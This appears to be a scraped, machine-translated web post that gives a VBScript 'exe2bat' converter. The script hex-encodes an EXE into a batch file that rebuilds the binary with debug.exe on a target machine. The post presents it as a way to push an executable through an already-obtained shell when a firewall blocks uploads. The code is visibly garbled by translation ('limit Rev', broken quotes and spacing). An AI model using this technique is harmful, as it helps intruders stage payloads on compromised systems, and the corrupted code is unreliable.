Exe2bat script
Copy codeThe Code is as follows: fp = wscript. arguments (0)
Fn = right (fp, len (fp)-limit Rev (fp ,""))
With createobject ("adodb. stream ")
. Type = 1:. open:. loadfromfile fp: str =. read: sl = lenb (str)
End
Sll = sl mod 65536: slh = sl65536
With createobject ("scripting. filesystemobject"). opentextfile (fp & ". bat", 2, true)
. Write "@ echo str = """
For I = 1 to sl
Bt = ascb (midb (str, I, 1 ))
If bt <16 then. write "0"
. Write hex (bt)
If I mod 128 = 0 then. write "" _> debug. vbs "+ vbcrlf +" @ echo + """
Next
. Writeline "> debug. vbs" + vbcrlf + "@ echo with wscript. stdout: r = vbcrlf "_
+ ": For I = 1 to len (str) step 48:. write" "e" "+ hex (256 + (I-1)/2 )"_
+ ": For j = I to I + 46 step 2 :. write "+ mid (str, j, 2): next :. write r: next> debug. vbs"
. Writeline "@ echo. write "" rbx "" + r + "+ hex (slh) +" + r + "" rcx "" + r + "+ hex (sll) _
+ "+ R +" "n debug. tmp" "+ r +" "w" "+ r +" q "" + r: end "_
+ "> Debug. vbs & cscript // nologo debug. vbs | debug.exe> nul & ren debug. tmp "" & fn & "" & del debug. vbs"
End
Description:
You can use this script to obtain an external shell and fail to upload files because of firewall or other reasons.
Directly convert an EXE file to a BAT file locally, use NotePad to open the BAT file, and copy all-> mongoshell and paste it to get the uploaded EXE file under mongoshell.
Script usage: cscript cdown. vbs XXX.exe
Generate a BAT file in the same directory.